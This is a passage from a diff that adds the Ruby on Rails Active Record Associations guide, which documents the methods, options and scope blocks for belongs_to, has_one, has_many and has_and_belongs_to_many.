ActiveRecord::Base + has_one :account + end + + class Account < ActiveRecord::Base + belongs_to :supplier + end + end +end +``` + +This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will _not_ work, because `Supplier` and `Account` are defined in different scopes: + +```ruby +module MyApplication + module Business + class Supplier < ActiveRecord::Base + has_one :account + end + end + + module Billing + class Account < ActiveRecord::Base + belongs_to :supplier + end + end +end +``` + +To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration: + +```ruby +module MyApplication + module Business + class Supplier < ActiveRecord::Base + has_one :account, + :class_name => "MyApplication::Billing::Account" + end + end + + module Billing + class Account < ActiveRecord::Base + belongs_to :supplier, + :class_name => "MyApplication::Business::Supplier" + end + end +end +``` + +### Bi-directional Associations + +It's normal for associations to work in two directions, requiring declaration on two different models: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders +end + +class Order < ActiveRecord::Base + belongs_to :customer +end +``` + +By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync: + +```ruby +c = Customer.first +o = c.orders.first +c.first_name == o.customer.first_name # => true +c.first_name = 'Manny' +c.first_name == o.customer.first_name # => false +``` + +This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the `:inverse_of` option so that you can inform it of these relations: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, :inverse_of => :customer +end + +class Order < ActiveRecord::Base + belongs_to :customer, :inverse_of => :orders +end +``` + +With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient: + +```ruby +c = Customer.first +o = c.orders.first +c.first_name == o.customer.first_name # => true +c.first_name = 'Manny' +c.first_name == o.customer.first_name # => true +``` + +There are a few limitations to `inverse_of` support: + +* They do not work with `:through` associations. +* They do not work with `:polymorphic` associations. +* They do not work with `:as` associations. +* For `belongs_to` associations, `has_many` inverse associations are ignored. + +Detailed Association Reference +------------------------------ + +The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association. + +### `belongs_to` Association Reference + +The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead. + +#### Methods Added by `belongs_to` + +When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association: + +* `association(force_reload = false)` +* `association=(associate)` +* `build_association(attributes = {})` +* `create_association(attributes = {})` + +In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer +end +``` + +Each instance of the order model will have these methods: + +```ruby +customer +customer= +build_customer +create_customer +``` + +NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. + +##### `association(force_reload = false)` + +The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`. + +```ruby +@customer = @order.customer +``` + +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument. + +##### `association=(associate)` + +The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value. + +```ruby +@order.customer = @customer +``` + +##### `build_association(attributes = {})` + +The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved. + +```ruby +@customer = @order.build_customer(:customer_number => 123, + :customer_name => "John Doe") +``` + +##### `create_association(attributes = {})` + +The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. + +```ruby +@customer = @order.create_customer(:customer_number => 123, + :customer_name => "John Doe") +``` + + +#### Options for `belongs_to` + +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this assocation uses two such options: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer, :dependent => :destroy, + :counter_cache => true +end +``` + +The `belongs_to` association supports these options: + +* `:autosave` +* `:class_name` +* `:counter_cache` +* `:dependent` +* `:foreign_key` +* `:inverse_of` +* `:polymorphic` +* `:touch` +* `:validate` + +##### `:autosave` + +If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. + +##### `:class_name` + +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is `Patron`, you'd set things up this way: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer, :class_name => "Patron" +end +``` + +##### `:counter_cache` + +The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer +end +class Customer < ActiveRecord::Base + has_many :orders +end +``` + +With these declarations, asking for the value of `@customer.orders.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer, :counter_cache => true +end +class Customer < ActiveRecord::Base + has_many :orders +end +``` + +With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method. + +Although the `:counter_cache` option is specified on the model that includes the `belongs_to` declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named `orders_count` to the `Customer` model. You can override the default column name if you need to: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer, :counter_cache => :count_of_orders +end +class Customer < ActiveRecord::Base + has_many :orders +end +``` + +Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`. + +##### `:dependent` + +If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. + +WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database. + +##### `:foreign_key` + +By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer, :class_name => "Patron", + :foreign_key => "patron_id" +end +``` + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +##### `:inverse_of` + +The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options. + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, :inverse_of => :customer +end + +class Order < ActiveRecord::Base + belongs_to :customer, :inverse_of => :orders +end +``` + +##### `:polymorphic` + +Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. + +##### `:touch` + +If you set the `:touch` option to `:true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer, :touch => true +end + +class Customer < ActiveRecord::Base + has_many :orders +end +``` + +In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer, :touch => :orders_updated_at +end +``` + +##### `:validate` + +If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved. + +#### Scopes for `belongs_to` + +There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer, -> { where :active => true }, + :dependent => :destroy +end +``` + +You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: + +* `where` +* `includes` +* `readonly` +* `select` + +##### `where` + +The `where` method lets you specify the conditions that the associated object must meet. + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer, -> { where :active => true } +end +``` + +##### `includes` + +You can use the `includes` method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +```ruby +class LineItem < ActiveRecord::Base + belongs_to :order +end + +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end + +class Customer < ActiveRecord::Base + has_many :orders +end +``` + +If you frequently retrieve customers directly from line items (`@line_item.order.customer`), then you can make your code somewhat more efficient by including customers in the association from line items to orders: + +```ruby +class LineItem < ActiveRecord::Base + belongs_to :order, -> { includes :customer } +end + +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end + +class Customer < ActiveRecord::Base + has_many :orders +end +``` + +NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Order belongs_to :customer`, then the customer is eager-loaded automatically when it's needed. + +##### `readonly` + +If you use `readonly`, then the associated object will be read-only when retrieved via the association. + +##### `select` + +The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. + +TIP: If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee the correct results. + +#### Do Any Associated Objects Exist? + +You can see if any associated objects exist by using the `association.nil?` method: + +```ruby +if @order.customer.nil? + @msg = "No customer found for this order" +end +``` + +#### When are Objects Saved? + +Assigning an object to a `belongs_to` association does _not_ automatically save the object. It does not save the associated object either. + +### `has_one` Association Reference + +The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead. + +#### Methods Added by `has_one` + +When you declare a `has_one` association, the declaring class automatically gains four methods related to the association: + +* `association(force_reload = false)` +* `association=(associate)` +* `build_association(attributes = {})` +* `create_association(attributes = {})` + +In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account +end +``` + +Each instance of the `Supplier` model will have these methods: + +```ruby +account +account= +build_account +create_account +``` + +NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. + +##### `association(force_reload = false)` + +The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`. + +```ruby +@account = @supplier.account +``` + +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument. + +##### `association=(associate)` + +The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value. + +```ruby +@supplier.account = @account +``` + +##### `build_association(attributes = {})` + +The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved. + +```ruby +@account = @supplier.build_account(:terms => "Net 30") +``` + +##### `create_association(attributes = {})` + +The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. + +```ruby +@account = @supplier.create_account(:terms => "Net 30") +``` + +#### Options for `has_one` + +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account, :class_name => "Billing", :dependent => :nullify +end +``` + +The `has_one` association supports these options: + +* `:as` +* `:autosave` +* `:class_name` +* `:dependent` +* `:foreign_key` +* `:inverse_of` +* `:primary_key` +* `:source` +* `:source_type` +* `:through` +* `:validate` + +##### `:as` + +Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. + +##### `:autosave` + +If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. + +##### `:class_name` + +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account, :class_name => "Billing" +end +``` + +##### `:dependent` + +Controls what happens to the associated object when its owner is destroyed: + +* `:destroy` causes the associated object to also be destroyed +* `:delete` causes the asssociated object to be deleted directly from the database (so callbacks will not execute) +* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed. +* `:restrict_with_exception` causes an exception to be raised if there is an associated record +* `:restrict_with_error` causes an error to be added to the owner if there is an associated object + +##### `:foreign_key` + +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account, :foreign_key => "supp_id" +end +``` + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +##### `:inverse_of` + +The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options. + +```ruby +class Supplier < ActiveRecord::Base + has_one :account, :inverse_of => :supplier +end + +class Account < ActiveRecord::Base + belongs_to :supplier, :inverse_of => :account +end +``` + +##### `:primary_key` + +By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option. + +##### `:source` + +The `:source` option specifies the source association name for a `has_one :through` association. + +##### `:source_type` + +The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association. + +##### `:through` + +The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>. + +##### `:validate` + +If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved. + +#### Scopes for `has_one` + +There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account, -> { where :active => true } +end +``` + +You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: + +* `where` +* `includes` +* `readonly` +* `select` + +##### `where` + +The `where` method lets you specify the conditions that the associated object must meet. + +```ruby +class Supplier < ActiveRecord::Base + has_one :account, -> { where "confirmed = 1" } +end +``` + +##### `includes` + +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account +end + +class Account < ActiveRecord::Base + belongs_to :supplier + belongs_to :representative +end + +class Representative < ActiveRecord::Base + has_many :accounts +end +``` + +If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account, -> { includes :representative } +end + +class Account < ActiveRecord::Base + belongs_to :supplier + belongs_to :representative +end + +class Representative < ActiveRecord::Base + has_many :accounts +end +``` + +##### `readonly` + +If you use the `readonly` method, then the associated object will be read-only when retrieved via the association. + +##### `select` + +The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. + +#### Do Any Associated Objects Exist? + +You can see if any associated objects exist by using the `association.nil?` method: + +```ruby +if @supplier.account.nil? + @msg = "No account found for this supplier" +end +``` + +#### When are Objects Saved? + +When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too. + +If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled. + +If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved. + +If you want to assign an object to a `has_one` association without saving the object, use the `association.build` method. + +### `has_many` Association Reference + +The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class. + +#### Methods Added by `has_many` + +When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association: + +* `collection(force_reload = false)` +* `collection<<(object, ...)` +* `collection.delete(object, ...)` +* `collection=objects` +* `collection_singular_ids` +* `collection_singular_ids=ids` +* `collection.clear` +* `collection.empty?` +* `collection.size` +* `collection.find(...)` +* `collection.where(...)` +* `collection.exists?(...)` +* `collection.build(attributes = {}, ...)` +* `collection.create(attributes = {})` + +In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol.. For example, given the declaration: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders +end +``` + +Each instance of the customer model will have these methods: + +```ruby +orders(force_reload = false) +orders<<(object, ...) +orders.delete(object, ...) +orders=objects +order_ids +order_ids=ids +orders.clear +orders.empty? +orders.size +orders.find(...) +orders.where(...) +orders.exists?(...) +orders.build(attributes = {}, ...) +orders.create(attributes = {}) +``` + +##### `collection(force_reload = false)` + +The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. + +```ruby +@orders = @customer.orders +``` + +##### `collection<<(object, ...)` + +The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model. + +```ruby +@customer.orders << @order1 +``` + +##### `collection.delete(object, ...)` + +The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`. + +```ruby +@customer.orders.delete(@order1) +``` + +WARNING: Additionally, objects will be destroyed if they're associated with `:dependent => :destroy`, and deleted if they're associated with `:dependent => :delete_all`. + + +##### `collection=objects` + +The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. + +##### `collection_singular_ids` + +The `collection_singular_ids` method returns an array of the ids of the objects in the collection. + +```ruby +@order_ids = @customer.order_ids +``` + +##### `collection_singular_ids=ids` + +The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. + +##### `collection.clear` + +The `collection.clear` method removes every object from the collection. This destroys the associated objects if they are associated with `:dependent => :destroy`, deletes them directly from the database if `:dependent => :delete_all`, and otherwise sets their foreign keys to `NULL`. + +##### `collection.empty?` + +The `collection.empty?` method returns `true` if the collection does not contain any associated objects. + +```erb +<% if @customer.orders.empty? %> + No Orders Found +<% end %> +``` + +##### `collection.size` + +The `collection.size` method returns the number of objects in the collection. + +```ruby +@order_count = @customer.orders.size +``` + +##### `collection.find(...)` + +The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. + +```ruby +@open_orders = @customer.orders.find(1) +``` + +##### `collection.where(...)` + +The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. + +```ruby +@open_orders = @customer.orders.where(:open => true) # No query yet +@open_order = @open_orders.first # Now the database will be queried +``` + +##### `collection.exists?(...)` + +The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`. + +##### `collection.build(attributes = {}, ...)` + +The `collection.build` method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved. + +```ruby +@order = @customer.orders.build(:order_date => Time.now, + :order_number => "A12345") +``` + +##### `collection.create(attributes = {})` + +The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. + +```ruby +@order = @customer.orders.create(:order_date => Time.now, + :order_number => "A12345") +``` + +#### Options for `has_many` + +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, :dependent => :delete_all, :validate => :false +end +``` + +The `has_many` association supports these options: + +* `:as` +* `:autosave` +* `:class_name` +* `:dependent` +* `:foreign_key` +* `:inverse_of` +* `:primary_key` +* `:source` +* `:source_type` +* `:through` +* `:validate` + +##### `:as` + +Setting the `:as` option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>. + +##### `:autosave` + +If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. + +##### `:class_name` + +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is `Transaction`, you'd set things up this way: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, :class_name => "Transaction" +end +``` + +##### `:dependent` + +Controls what happens to the associated objects when their owner is destroyed: + +* `:destroy` causes all the associated objects to also be destroyed +* `:delete_all` causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute) +* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed. +* `:restrict_with_exception` causes an exception to be raised if there are any associated records +* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects + +NOTE: This option is ignored when you use the `:through` option on the association. + +##### `:foreign_key` + +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, :foreign_key => "cust_id" +end +``` + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +##### `:inverse_of` + +The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options. + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, :inverse_of => :customer +end + +class Order < ActiveRecord::Base + belongs_to :customer, :inverse_of => :orders +end +``` + +##### `:primary_key` + +By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option. + +##### `:source` + +The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name. + +##### `:source_type` + +The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association. + +##### `:through` + +The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>. + +##### `:validate` + +If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved. + +#### Scopes for `has_many` + +There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, -> { where :processed => true } +end +``` + +You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: + +* `where` +* `extending` +* `group` +* `includes` +* `limit` +* `offset` +* `order` +* `readonly` +* `select` +* `uniq` + +##### `where` + +The `where` method lets you specify the conditions that the associated object must meet. + +```ruby +class Customer < ActiveRecord::Base + has_many :confirmed_orders, -> { where "confirmed = 1" }, + :class_name => "Order" +end +``` + +You can also set conditions via a hash: + +```ruby +class Customer < ActiveRecord::Base + has_many :confirmed_orders, -> { where :confirmed => true }, + :class_name => "Order" +end +``` + +If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@customer.confirmed_orders.create` or `@customer.confirmed_orders.build` will create orders where the confirmed column has the value `true`. + +##### `extending` + +The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. + +##### `group` + +The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL. + +```ruby +class Customer < ActiveRecord::Base + has_many :line_items, -> { group 'orders.id' }, + :through => :orders +end +``` + +##### `includes` + +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders +end + +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end + +class LineItem < ActiveRecord::Base + belongs_to :order +end +``` + +If you frequently retrieve line items directly from customers (`@customer.orders.line_items`), then you can make your code somewhat more efficient by including line items in the association from customers to orders: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, -> { includes :line_items } +end + +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end + +class LineItem < ActiveRecord::Base + belongs_to :order +end +``` + +##### `limit` + +The `limit` method lets you restrict the total number of objects that will be fetched through an association. + +```ruby +class Customer < ActiveRecord::Base + has_many :recent_orders, + -> { order('order_date desc').limit(100) }, + :class_name => "Order", +end +``` + +##### `offset` + +The `offset` method lets you specify the starting offset for fetching objects via an association. For example, `-> { offset(11) }` will skip the first 11 records. + +##### `order` + +The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause). + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, -> { order "date_confirmed DESC" } +end +``` + +##### `readonly` + +If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association. + +##### `select` + +The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. + +WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error. + +##### `uniq` + +Use the `uniq` method to keep the collection free of duplicates. This is mostly useful together with the `:through` option. + +```ruby +class Person < ActiveRecord::Base + has_many :readings + has_many :posts, :through => :readings +end + +person = Person.create(:name => 'john') +post = Post.create(:name => 'a1') +person.posts << post +person.posts << post +person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">] +Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>] +``` + +In the above case there are two readings and `person.posts` brings out both of them even though these records are pointing to the same post. + +Now let's set `uniq`: + +```ruby +class Person + has_many :readings + has_many :posts, -> { uniq }, :through => :readings +end + +person = Person.create(:name => 'honda') +post = Post.create(:name => 'a1') +person.posts << post +person.posts << post +person.posts.inspect # => [#<Post id: 7, name: "a1">] +Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>] +``` + +In the above case there are still two readings. However `person.posts` shows only one post because the collection loads only unique records. + +#### When are Objects Saved? + +When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved. + +If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled. + +If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. + +If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method. + +### `has_and_belongs_to_many` Association Reference + +The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes. + +#### Methods Added by `has_and_belongs_to_many` + +When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association: + +* `collection(force_reload = false)` +* `collection<<(object, ...)` +* `collection.delete(object, ...)` +* `collection=objects` +* `collection_singular_ids` +* `collection_singular_ids=ids` +* `collection.clear` +* `collection.empty?` +* `collection.size` +* `collection.find(...)` +* `collection.where(...)` +* `collection.exists?(...)` +* `collection.build(attributes = {})` +* `collection.create(attributes = {})` + +In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: + +```ruby +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +``` + +Each instance of the part model will have these methods: + +```ruby +assemblies(force_reload = false) +assemblies<<(object, ...) +assemblies.delete(object, ...) +assemblies=objects +assembly_ids +assembly_ids=ids +assemblies.clear +assemblies.empty? +assemblies.size +assemblies.find(...) +assemblies.where(...) +assemblies.exists?(...) +assemblies.build(attributes = {}, ...) +assemblies.create(attributes = {}) +``` + +##### Additional Column Methods + +If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes. + +WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`. + + +##### `collection(force_reload = false)` + +The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. + +```ruby +@assemblies = @part.assemblies +``` + +##### `collection<<(object, ...)` + +The `collection<<` method adds one or more objects to the collection by creating records in the join table. + +```ruby +@part.assemblies << @assembly1 +``` + +NOTE: This method is aliased as `collection.concat` and `collection.push`. + +##### `collection.delete(object, ...)` + +The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects. + +```ruby +@part.assemblies.delete(@assembly1) +``` + +##### `collection=objects` + +The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. + +##### `collection_singular_ids` + +The `collection_singular_ids` method returns an array of the ids of the objects in the collection. + +```ruby +@assembly_ids = @part.assembly_ids +``` + +##### `collection_singular_ids=ids` + +The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. + +##### `collection.clear` + +The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects. + +##### `collection.empty?` + +The `collection.empty?` method returns `true` if the collection does not contain any associated objects. + +```ruby +<% if @part.assemblies.empty? %> + This part is not used in any assemblies +<% end %> +``` + +##### `collection.size` + +The `collection.size` method returns the number of objects in the collection. + +```ruby +@assembly_count = @part.assemblies.size +``` + +##### `collection.find(...)` + +The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection. + +```ruby +@assembly = @part.assemblies.find(1) +``` + +##### `collection.where(...)` + +The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection. + +```ruby +@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago) +``` + +##### `collection.exists?(...)` + +The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`. + +##### `collection.build(attributes = {})` + +The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved. + +```ruby +@assembly = @part.assemblies.build( + {:assembly_name => 